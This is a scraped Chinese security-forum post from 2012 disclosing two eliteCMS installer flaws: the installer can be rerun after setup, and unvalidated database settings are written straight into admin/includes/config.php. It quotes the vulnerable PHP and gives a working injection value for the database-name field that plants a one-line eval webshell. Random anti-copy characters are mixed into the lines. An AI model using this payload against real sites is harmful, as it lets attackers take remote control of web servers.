找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2148|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
8 @* r( l; Q4 {4 I% m
' n, Z4 p" L6 K7 f0 y4 Z" H$ ]% |另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
, J9 O4 X) B' A) A8 e' s7 Y( A# D我们来看代码:
7 x7 v- _: C- @9 }( K' \
9 z3 Q% b9 B* g& y..." |% w3 i2 g7 l3 }1 h& D9 u
elseif ($_GET['step'] == "4") {: _1 \# d: |+ X4 [, Y
    $file = "../admin/includes/config.php";
1 T* j" V' |. Q6 q8 S; x    $write = "<?php\n";8 t1 D7 k* d6 ?3 Z. b
    $write .= "/**\n";* e1 q) Q# k: M: r6 f9 E9 t" q
    $write .= "*\n";
! U1 c7 W) @/ C$ B) _    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";  g9 N) N# q  H% _
...略...5 C3 D* l: s9 q* H
    $write .= "*\n";1 S6 i$ _3 d9 O& ~0 g+ S
    $write .= "*/\n";
* h  h- j& B% p/ t' ?5 y& R3 P    $write .= "\n";) a& N6 t3 `6 ^8 a  S/ l
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";1 a: z; N' U0 Z
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";. l: y+ G" I) k1 }) V( O( C
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";: Z: A! x. {" ?% ~3 k! y
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
5 D7 v  J7 h) s3 E    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
' ?$ n1 H. _5 a. d5 V0 N  N    $write .= "if (!\$connection) {\n";
5 }, I" @) ]( B+ p5 Q    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
* P  g+ B, l6 x" i& d    $write .= "        \n";
6 ^8 _' ~6 b) y% I( _    $write .= "} \n";) A' d5 R8 s; Z& u/ Y( S; z$ t
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
: e4 d8 _, n- z0 c) A: a. d0 z    $write .= "if (!\$db_select) {\n";" ~& B6 F. [8 {' P' S; E/ i
    $write .= "        die(\"Database select failed\" .mysql_error());\n";2 P: k; [4 T& g1 H( W  @  w
    $write .= "        \n";
. [9 E1 I. O1 V" [2 Z$ w9 B- u    $write .= "} \n";/ k1 @8 x' \: R4 U% J( E
    $write .= "?>\n";
& G+ O  i7 ^; i9 I
7 ]! n5 h7 q4 C# g  k8 J    $writer = fopen($file, 'w');7 c! x+ b$ p5 u0 g5 Z) v
...! D" H. s) ?$ l0 n8 s
0 h' g4 s3 U; y% ?  L
在看代码:
. k* p9 ]4 v, M" O " o/ m- b+ Y- c! U! z, {$ d* \+ o
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
0 ]9 c& S( `) G8 X* |6 a1 Z1 W$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
1 k  u' J! \+ B/ E" O/ E$_SESSION['DB_USER'] = $_POST['DB_USER'];
& J: ]; j) ~7 [+ {- i4 b: |$_SESSION['DB_PASS'] = $_POST['DB_PASS'];$ `& C, N: g1 l" a! g! r# q8 }
& D+ F3 Q, W$ @) `$ T) W! e
取值未作任何验证
5 w1 n0 F* N9 F/ K; e0 E+ c# [( _如果将数据库名POST数据:
% v$ E. R# P3 S
6 e- z; C% ?9 b$ F* X6 k8 e"?><?php eval($_POST[c]);?><?php
6 w: J; L- O# Z' c 3 I, S7 c+ l' t- B9 L' {% ~- |  V
将导致一句话后门写入/admin/includes/config.php' H/ `" ^" C- r) l' C" }, z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表